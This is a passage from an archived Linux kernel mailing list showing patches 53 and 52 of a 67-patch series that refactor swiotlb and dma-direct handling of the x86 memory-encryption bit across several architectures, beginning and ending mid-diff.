-			 * DMA_TO_DEVICE to avoid memcpy in unmap_single.
-			 * The DMA_ATTR_SKIP_CPU_SYNC is optional.
-			 */
-			swiotlb_tbl_unmap_single(hwdev, paddr,
-						 size, DMA_TO_DEVICE,
-						 DMA_ATTR_SKIP_CPU_SYNC);
-			goto err_warn;
-		}
+		free_pages((unsigned long) ret, order);
 	}
 
-	*dma_handle = dev_addr;
-	memset(ret, 0, size);
-
-	return ret;
-
-err_warn:
-	pr_warn("swiotlb: coherent allocation failed for device %s size=%zu\n",
-		dev_name(hwdev), size);
-	dump_stack();
-
-	return NULL;
+	return swiotlb_alloc_buffer(hwdev, size, dma_handle);
 }
 EXPORT_SYMBOL(swiotlb_alloc_coherent);
 
@@ -1105,7 +1107,7 @@ void *swiotlb_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
 
 	vaddr = dma_direct_alloc(dev, size, dma_handle, gfp, attrs);
 	if (!vaddr)
-		vaddr = swiotlb_alloc_coherent(dev, size, dma_handle, gfp);
+		vaddr = swiotlb_alloc_buffer(dev, size, dma_handle);
 	return vaddr;
 }
 
-- 
2.14.2



From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 53/67] swiotlb: remove swiotlb_set_mem_attributes
Date: Fri, 29 Dec 2017 09:18:57 +0100
Lines: 106
Approved: news@gmane.org
Message-ID: <20171229081911.2802-54-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535693 32436 195.159.176.226 (29 Dec 2017 08:21:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:21:33 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Dec 29 09:21:27 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eUpuu-0007es-0Q
	for glpi-linux-ia64-2@m.gmane.org; Fri, 29 Dec 2017 09:21:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755808AbdL2IXX (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Fri, 29 Dec 2017 03:23:23 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:48579 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932252AbdL2IXU (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Fri, 29 Dec 2017 03:23:20 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=6nE8RcLASbnBNDxopxGxGjrTcIXPIyO5wAhu2ciAri0=; b=OmHkTmyKnYK0lopdgOaCOnvBs
        GlBLaKLrGBb6R4AUdlBqaIk2mfdPc0Zww//xlMF0RhOgfISlHBO4/MufZNo/i5/l9Nfnh3f0axn80
        HExbnb0aDS3aE4boL9o8fMPLa+2XW5rJfd5apn4eJ23BIRbQUaGubTx1Tiq/Oq+ZqBKWFLavky1Ca
        6uZ7ntYNd3QpGxye9cornJag1ni5AFnP+7wqpGvxW3OZUOOlK8YJhPv96aQHX0i46TPWDfkNMKHK9
        UmcDzRCa8fOFv0NtExVlM5ghUI17mhu4Sh6HCBRFqVt45YZOmpMe3ozCu/mXadKLKVET97JIMrJ6X
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpwa-0003SJ-Sm; Fri, 29 Dec 2017 08:23:09 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28431 gmane.linux.kernel.iommu:21921 gmane.linux.ports.alpha:4588 gmane.linux.kernel.arc:3209 gmane.linux.ports.arm.kernel:622934 gmane.linux.ports.hexagon:1441 gmane.linux.kernel.metag:1515 gmane.linux.ports.mips.general:62964 gmane.linux.ports.parisc:28106 gmane.linux.ports.ppc64.devel:151538 gmane.linux.ports.sh.devel:56077 gmane.linux.ports.sparc:27084 gmane.linux.kernel.cross-arch:40824 gmane.linux.kernel:2654251
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28431>

Now that set_memory_decrypted is always available we can just call
it directly.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/x86/include/asm/mem_encrypt.h |  2 --
 arch/x86/mm/mem_encrypt.c          |  9 ---------
 lib/swiotlb.c                      | 12 ++++++------
 3 files changed, 6 insertions(+), 17 deletions(-)

diff --git a/arch/x86/include/asm/mem_encrypt.h b/arch/x86/include/asm/mem_encrypt.h
index c9459a4c3c68..549894d496da 100644
--- a/arch/x86/include/asm/mem_encrypt.h
+++ b/arch/x86/include/asm/mem_encrypt.h
@@ -48,8 +48,6 @@ int __init early_set_memory_encrypted(unsigned long vaddr, unsigned long size);
 /* Architecture __weak replacement functions */
 void __init mem_encrypt_init(void);
 
-void swiotlb_set_mem_attributes(void *vaddr, unsigned long size);
-
 bool sme_active(void);
 bool sev_active(void);
 
diff --git a/arch/x86/mm/mem_encrypt.c b/arch/x86/mm/mem_encrypt.c
index 93de36cc3dd9..b279e90c85cd 100644
--- a/arch/x86/mm/mem_encrypt.c
+++ b/arch/x86/mm/mem_encrypt.c
@@ -379,15 +379,6 @@ void __init mem_encrypt_init(void)
 			     : "Secure Memory Encryption (SME)");
 }
 
-void swiotlb_set_mem_attributes(void *vaddr, unsigned long size)
-{
-	WARN(PAGE_ALIGN(size) != size,
-	     "size is not page-aligned (%#lx)\n", size);
-
-	/* Make the SWIOTLB buffer area decrypted */
-	set_memory_decrypted((unsigned long)vaddr, size >> PAGE_SHIFT);
-}
-
 static void __init sme_clear_pgd(pgd_t *pgd_base, unsigned long start,
 				 unsigned long end)
 {
diff --git a/lib/swiotlb.c b/lib/swiotlb.c
index 85b2ad9299e3..4ea0b5710618 100644
--- a/lib/swiotlb.c
+++ b/lib/swiotlb.c
@@ -31,6 +31,7 @@
 #include <linux/gfp.h>
 #include <linux/scatterlist.h>
 #include <linux/mem_encrypt.h>
+#include <linux/set_memory.h>
 
 #include <asm/io.h>
 #include <asm/dma.h>
@@ -156,8 +157,6 @@ unsigned long swiotlb_size_or_default(void)
 	return size ? size : (IO_TLB_DEFAULT_SIZE);
 }
 
-void __weak swiotlb_set_mem_attributes(void *vaddr, unsigned long size) { }
-
 /* Note that this doesn't work with highmem page */
 static dma_addr_t swiotlb_virt_to_bus(struct device *hwdev,
 				      volatile void *address)
@@ -202,12 +201,12 @@ void __init swiotlb_update_mem_attributes(void)
 
 	vaddr = phys_to_virt(io_tlb_start);
 	bytes = PAGE_ALIGN(io_tlb_nslabs << IO_TLB_SHIFT);
-	swiotlb_set_mem_attributes(vaddr, bytes);
+	set_memory_decrypted((unsigned long)vaddr, bytes >> PAGE_SHIFT);
 	memset(vaddr, 0, bytes);
 
 	vaddr = phys_to_virt(io_tlb_overflow_buffer);
 	bytes = PAGE_ALIGN(io_tlb_overflow);
-	swiotlb_set_mem_attributes(vaddr, bytes);
+	set_memory_decrypted((unsigned long)vaddr, bytes >> PAGE_SHIFT);
 	memset(vaddr, 0, bytes);
 }
 
@@ -348,7 +347,7 @@ swiotlb_late_init_with_tbl(char *tlb, unsigned long nslabs)
 	io_tlb_start = virt_to_phys(tlb);
 	io_tlb_end = io_tlb_start + bytes;
 
-	swiotlb_set_mem_attributes(tlb, bytes);
+	set_memory_decrypted((unsigned long)tlb, bytes >> PAGE_SHIFT);
 	memset(tlb, 0, bytes);
 
 	/*
@@ -359,7 +358,8 @@ swiotlb_late_init_with_tbl(char *tlb, unsigned long nslabs)
 	if (!v_overflow_buffer)
 		goto cleanup2;
 
-	swiotlb_set_mem_attributes(v_overflow_buffer, io_tlb_overflow);
+	set_memory_decrypted((unsigned long)v_overflow_buffer,
+			io_tlb_overflow >> PAGE_SHIFT);
 	memset(v_overflow_buffer, 0, io_tlb_overflow);
 	io_tlb_overflow_buffer = virt_to_phys(v_overflow_buffer);
 
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 52/67] dma-direct: handle the memory encryption bit in common code
Date: Fri, 29 Dec 2017 09:18:56 +0100
Lines: 579
Approved: news@gmane.org
Message-ID: <20171229081911.2802-53-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1514535693 32513 195.159.176.226 (29 Dec 2017 08:21:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:21:33 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-hexagon-owner@vger.kernel.org Fri Dec 29 09:21:27 2017
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1eUpur-0007es-Cc
	for glphk-linux-hexagon@m.gmane.org; Fri, 29 Dec 2017 09:21:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755792AbdL2IXW (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
        Fri, 29 Dec 2017 03:23:22 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:46320 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932913AbdL2IXR (ORCPT
        <rfc822;linux-hexagon@vger.kernel.org>);
        Fri, 29 Dec 2017 03:23:17 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=Content-Transfer-Encoding:
        Content-Type:MIME-Version:References:In-Reply-To:Message-Id:Date:Subject:Cc:
        To:From:Sender:Reply-To:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=FBXvrE7Jk5HzSlKbTWjCg4ejWRxMH3e2jEvMPMl75X4=; b=BzY8LL1Y0SCdFAelD0//CAOUf
        /JVmGaIEd24tDHYbr1Y9tj31+4Cnw7iCiWOuD53x7hFPnUWU8MT1ezfOK6m76XjfS6qDWbU2q+NEu
        6PHaMMwpGgwAsZYR62wA5j7wwtD4cWow5drnzP8twBdOyMq2vEIzklOVe+0DEeVKS5uCTcRzRBXy8
        YN1FOfU7b7zx79cZ0MRJxcKwCfEirrXzahvGtavWCNOXGtAxRNYCFFlBdOeAE1OKN0sfNmOmZIEiH
        vpnWctiJ1uF86QGaTakT+im/pRFGURapwPUax8elJW+wu4CXNk2rLBaWDp1/LrlyiXtI631GQOML1
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpwV-0003OF-Sl; Fri, 29 Dec 2017 08:23:04 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1442 gmane.linux.kernel.iommu:21922 gmane.linux.ports.alpha:4589 gmane.linux.kernel.arc:3210 gmane.linux.ports.arm.kernel:622935 gmane.linux.ports.ia64:28432 gmane.linux.kernel.metag:1516 gmane.linux.ports.mips.general:62965 gmane.linux.ports.parisc:28107 gmane.linux.ports.ppc64.devel:151539 gmane.linux.ports.sh.devel:56078 gmane.linux.ports.sparc:27085 gmane.linux.kernel.cross-arch:40825 gmane.linux.kernel:2654252
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1442>

Gіve the basic phys_to_dma and dma_to_phys helpers a __-prefix and add
the memory encryption mask to the non-prefixed versions.  Use the
__-prefixed versions directly instead of clearing the mask again in
various places.

With that in place the generic dma-direct routines can be used to
allocate non-encrypted bounce buffers, and the x86 SEV case can use
the generic swiotlb ops.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/arm/include/asm/dma-direct.h                  |  4 +-
 arch/mips/cavium-octeon/dma-octeon.c               | 10 +--
 .../include/asm/mach-cavium-octeon/dma-coherence.h |  4 +-
 .../include/asm/mach-loongson64/dma-coherence.h    | 10 +--
 arch/mips/loongson64/common/dma-swiotlb.c          |  4 +-
 arch/powerpc/include/asm/dma-direct.h              |  4 +-
 arch/x86/Kconfig                                   |  2 +-
 arch/x86/include/asm/dma-direct.h                  | 25 +-------
 arch/x86/mm/mem_encrypt.c                          | 73 +---------------------
 arch/x86/pci/sta2x11-fixup.c                       |  6 +-
 include/linux/dma-direct.h                         | 23 ++++++-
 lib/dma-direct.c                                   | 24 +++++--
 lib/swiotlb.c                                      | 25 +++-----
 13 files changed, 76 insertions(+), 138 deletions(-)

diff --git a/arch/arm/include/asm/dma-direct.h b/arch/arm/include/asm/dma-direct.h
index 5b0a8a421894..b67e5fc1fe43 100644
--- a/arch/arm/include/asm/dma-direct.h
+++ b/arch/arm/include/asm/dma-direct.h
@@ -2,13 +2,13 @@
 #ifndef ASM_ARM_DMA_DIRECT_H
 #define ASM_ARM_DMA_DIRECT_H 1
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+static inline dma_addr_t __phys_to_dma(struct device *dev, phys_addr_t paddr)
 {
 	unsigned int offset = paddr & ~PAGE_MASK;
 	return pfn_to_dma(dev, __phys_to_pfn(paddr)) + offset;
 }
 
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
+static inline phys_addr_t __dma_to_phys(struct device *dev, dma_addr_t dev_addr)
 {
 	unsigned int offset = dev_addr & ~PAGE_MASK;
 	return __pfn_to_phys(dma_to_pfn(dev, dev_addr)) + offset;
diff --git a/arch/mips/cavium-octeon/dma-octeon.c b/arch/mips/cavium-octeon/dma-octeon.c
index 5baf79fce643..6440ad3f9e3b 100644
--- a/arch/mips/cavium-octeon/dma-octeon.c
+++ b/arch/mips/cavium-octeon/dma-octeon.c
@@ -10,7 +10,7 @@
  * IP32 changes by Ilya.
  * Copyright (C) 2010 Cavium Networks, Inc.
  */
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/scatterlist.h>
 #include <linux/bootmem.h>
 #include <linux/export.h>
@@ -202,7 +202,7 @@ struct octeon_dma_map_ops {
 	phys_addr_t (*dma_to_phys)(struct device *dev, dma_addr_t daddr);
 };
 
-dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+dma_addr_t __phys_to_dma(struct device *dev, phys_addr_t paddr)
 {
 	struct octeon_dma_map_ops *ops = container_of(get_dma_ops(dev),
 						      struct octeon_dma_map_ops,
@@ -210,9 +210,9 @@ dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
 
 	return ops->phys_to_dma(dev, paddr);
 }
-EXPORT_SYMBOL(phys_to_dma);
+EXPORT_SYMBOL(__phys_to_dma);
 
-phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
+phys_addr_t __dma_to_phys(struct device *dev, dma_addr_t daddr)
 {
 	struct octeon_dma_map_ops *ops = container_of(get_dma_ops(dev),
 						      struct octeon_dma_map_ops,
@@ -220,7 +220,7 @@ phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
 
 	return ops->dma_to_phys(dev, daddr);
 }
-EXPORT_SYMBOL(dma_to_phys);
+EXPORT_SYMBOL(__dma_to_phys);
 
 static struct octeon_dma_map_ops octeon_linear_dma_map_ops = {
 	.dma_map_ops = {
diff --git a/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h b/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
index f00833acb626..6f8e024f4f97 100644
--- a/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
+++ b/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
@@ -69,8 +69,8 @@ static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 	return addr + size <= *dev->dma_mask;
 }
 
-dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
-phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
+dma_addr_t __phys_to_dma(struct device *dev, phys_addr_t paddr);
+phys_addr_t __dma_to_phys(struct device *dev, dma_addr_t daddr);
 
 struct dma_map_ops;
 extern const struct dma_map_ops *octeon_pci_dma_map_ops;
diff --git a/arch/mips/include/asm/mach-loongson64/dma-coherence.h b/arch/mips/include/asm/mach-loongson64/dma-coherence.h
index 5cfda8f893e9..94fd224dddee 100644
--- a/arch/mips/include/asm/mach-loongson64/dma-coherence.h
+++ b/arch/mips/include/asm/mach-loongson64/dma-coherence.h
@@ -25,13 +25,13 @@ static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 	return addr + size <= *dev->dma_mask;
 }
 
-extern dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
-extern phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
+extern dma_addr_t __phys_to_dma(struct device *dev, phys_addr_t paddr);
+extern phys_addr_t __dma_to_phys(struct device *dev, dma_addr_t daddr);
 static inline dma_addr_t plat_map_dma_mem(struct device *dev, void *addr,
 					  size_t size)
 {
 #ifdef CONFIG_CPU_LOONGSON3
-	return phys_to_dma(dev, virt_to_phys(addr));
+	return __phys_to_dma(dev, virt_to_phys(addr));
 #else
 	return virt_to_phys(addr) | 0x80000000;
 #endif
@@ -41,7 +41,7 @@ static inline dma_addr_t plat_map_dma_mem_page(struct device *dev,
 					       struct page *page)
 {
 #ifdef CONFIG_CPU_LOONGSON3
-	return phys_to_dma(dev, page_to_phys(page));
+	return __phys_to_dma(dev, page_to_phys(page));
 #else
 	return page_to_phys(page) | 0x80000000;
 #endif
@@ -51,7 +51,7 @@ static inline unsigned long plat_dma_addr_to_phys(struct device *dev,
 	dma_addr_t dma_addr)
 {
 #if defined(CONFIG_CPU_LOONGSON3) && defined(CONFIG_64BIT)
-	return dma_to_phys(dev, dma_addr);
+	return __dma_to_phys(dev, dma_addr);
 #elif defined(CONFIG_CPU_LOONGSON2F) && defined(CONFIG_64BIT)
 	return (dma_addr > 0x8fffffff) ? dma_addr : (dma_addr & 0x0fffffff);
 #else
diff --git a/arch/mips/loongson64/common/dma-swiotlb.c b/arch/mips/loongson64/common/dma-swiotlb.c
index 15388c24a504..0a02ea70e39f 100644
--- a/arch/mips/loongson64/common/dma-swiotlb.c
+++ b/arch/mips/loongson64/common/dma-swiotlb.c
@@ -80,7 +80,7 @@ static int loongson_dma_supported(struct device *dev, u64 mask)
 	return swiotlb_dma_supported(dev, mask);
 }
 
-dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+dma_addr_t __phys_to_dma(struct device *dev, phys_addr_t paddr)
 {
 	long nid;
 #ifdef CONFIG_PHYS48_TO_HT40
@@ -92,7 +92,7 @@ dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
 	return paddr;
 }
 
-phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
+phys_addr_t __dma_to_phys(struct device *dev, dma_addr_t daddr)
 {
 	long nid;
 #ifdef CONFIG_PHYS48_TO_HT40
diff --git a/arch/powerpc/include/asm/dma-direct.h b/arch/powerpc/include/asm/dma-direct.h
index a5b59c765426..7702875aabb7 100644
--- a/arch/powerpc/include/asm/dma-direct.h
+++ b/arch/powerpc/include/asm/dma-direct.h
@@ -17,12 +17,12 @@ static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 	return addr + size - 1 <= *dev->dma_mask;
 }
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+static inline dma_addr_t __phys_to_dma(struct device *dev, phys_addr_t paddr)
 {
 	return paddr + get_dma_offset(dev);
 }
 
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
+static inline phys_addr_t __dma_to_phys(struct device *dev, dma_addr_t daddr)
 {
 	return daddr - get_dma_offset(dev);
 }
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 55ad01515075..3f2076aba40e 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -54,7 +54,6 @@ config X86
 	select ARCH_HAS_FORTIFY_SOURCE
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_HAS_KCOV			if X86_64
-	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_HAS_PMEM_API		if X86_64
 	# Causing hangs/crashes, see the commit that added this change for details.
 	select ARCH_HAS_REFCOUNT
@@ -675,6 +674,7 @@ config X86_SUPPORTS_MEMORY_FAILURE
 config STA2X11
 	bool "STA2X11 Companion Chip Support"
 	depends on X86_32_NON_STANDARD && PCI
+	select ARCH_HAS_PHYS_TO_DMA
 	select X86_DEV_DMA_OPS
 	select X86_DMA_REMAP
 	select SWIOTLB
diff --git a/arch/x86/include/asm/dma-direct.h b/arch/x86/include/asm/dma-direct.h
index 1295bc622ebe..1a19251eaac9 100644
--- a/arch/x86/include/asm/dma-direct.h
+++ b/arch/x86/include/asm/dma-direct.h
@@ -2,29 +2,8 @@
 #ifndef ASM_X86_DMA_DIRECT_H
 #define ASM_X86_DMA_DIRECT_H 1
 
-#include <linux/mem_encrypt.h>
-
-#ifdef CONFIG_X86_DMA_REMAP /* Platform code defines bridge-specific code */
 bool dma_capable(struct device *dev, dma_addr_t addr, size_t size);
-dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
-phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
-#else
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return 0;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return __sme_set(paddr);
-}
+dma_addr_t __phys_to_dma(struct device *dev, phys_addr_t paddr);
+phys_addr_t __dma_to_phys(struct device *dev, dma_addr_t daddr);
 
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return __sme_clr(daddr);
-}
-#endif /* CONFIG_X86_DMA_REMAP */
 #endif /* ASM_X86_DMA_DIRECT_H */
diff --git a/arch/x86/mm/mem_encrypt.c b/arch/x86/mm/mem_encrypt.c
index 1c786e751b49..93de36cc3dd9 100644
--- a/arch/x86/mm/mem_encrypt.c
+++ b/arch/x86/mm/mem_encrypt.c
@@ -200,58 +200,6 @@ void __init sme_early_init(void)
 		swiotlb_force = SWIOTLB_FORCE;
 }
 
-static void *sev_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
-		       gfp_t gfp, unsigned long attrs)
-{
-	unsigned int order;
-	struct page *page;
-	void *vaddr = NULL;
-
-	order = get_order(size);
-	page = alloc_pages_node(dev_to_node(dev), gfp, order);
-	if (page) {
-		dma_addr_t addr;
-
-		/*
-		 * Since we will be clearing the encryption bit, check the
-		 * mask with it already cleared.
-		 */
-		addr = __sme_clr(phys_to_dma(dev, page_to_phys(page)));
-		if ((addr + size) > dev->coherent_dma_mask) {
-			__free_pages(page, get_order(size));
-		} else {
-			vaddr = page_address(page);
-			*dma_handle = addr;
-		}
-	}
-
-	if (!vaddr)
-		vaddr = swiotlb_alloc_coherent(dev, size, dma_handle, gfp);
-
-	if (!vaddr)
-		return NULL;
-
-	/* Clear the SME encryption bit for DMA use if not swiotlb area */
-	if (!is_swiotlb_buffer(dma_to_phys(dev, *dma_handle))) {
-		set_memory_decrypted((unsigned long)vaddr, 1 << order);
-		memset(vaddr, 0, PAGE_SIZE << order);
-		*dma_handle = __sme_clr(*dma_handle);
-	}
-
-	return vaddr;
-}
-
-static void sev_free(struct device *dev, size_t size, void *vaddr,
-		     dma_addr_t dma_handle, unsigned long attrs)
-{
-	/* Set the SME encryption bit for re-use if not swiotlb area */
-	if (!is_swiotlb_buffer(dma_to_phys(dev, dma_handle)))
-		set_memory_encrypted((unsigned long)vaddr,
-				     1 << get_order(size));
-
-	swiotlb_free_coherent(dev, size, vaddr, dma_handle);
-}
-
 static void __init __set_clr_pte_enc(pte_t *kpte, int level, bool enc)
 {
 	pgprot_t old_prot, new_prot;
@@ -404,20 +352,6 @@ bool sev_active(void)
 }
 EXPORT_SYMBOL_GPL(sev_active);
 
-static const struct dma_map_ops sev_dma_ops = {
-	.alloc                  = sev_alloc,
-	.free                   = sev_free,
-	.map_page               = swiotlb_map_page,
-	.unmap_page             = swiotlb_unmap_page,
-	.map_sg                 = swiotlb_map_sg_attrs,
-	.unmap_sg               = swiotlb_unmap_sg_attrs,
-	.sync_single_for_cpu    = swiotlb_sync_single_for_cpu,
-	.sync_single_for_device = swiotlb_sync_single_for_device,
-	.sync_sg_for_cpu        = swiotlb_sync_sg_for_cpu,
-	.sync_sg_for_device     = swiotlb_sync_sg_for_device,
-	.mapping_error          = swiotlb_dma_mapping_error,
-};
-
 /* Architecture __weak replacement functions */
 void __init mem_encrypt_init(void)
 {
@@ -428,12 +362,11 @@ void __init mem_encrypt_init(void)
 	swiotlb_update_mem_attributes();
 
 	/*
-	 * With SEV, DMA operations cannot use encryption. New DMA ops
-	 * are required in order to mark the DMA areas as decrypted or
-	 * to use bounce buffers.
